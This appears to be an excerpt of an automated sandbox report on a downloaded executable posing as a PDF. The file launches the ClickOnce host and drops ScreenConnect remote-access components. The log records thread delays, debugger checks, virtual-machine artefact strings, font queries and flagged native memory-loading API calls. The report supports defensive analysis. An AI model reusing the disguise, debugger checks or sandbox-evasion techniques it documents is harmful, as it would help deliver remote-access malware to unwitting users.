Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596290	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596066	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595940	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595814	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595702	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595590	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595366	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595255	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595127	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594887	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594775	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594664	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594552	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594425	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594297	Jump to behavior

Source: Amcache.hve.16.dr	Binary or memory string: VMware
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.16.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.16.dr	Binary or memory string: VMware-42 27 c8 0c e4 52 1d cc-a0 8f d3 a4 82 3e 8f 04
Source: Amcache.hve.16.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.16.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2410268962.00000296B44B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.16.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.16.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.16.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.16.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.16.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.16.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.16.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.16.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.16.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.16.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: ScreenConnect.Windows.dll.13.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.13.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.13.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.13.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: ScreenConnect.Windows.dll.13.dr, WindowsExtensions.cs	Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)

Source: ScreenConnect.WindowsClient.exe.13.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe.13.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userbrili.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userbriz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
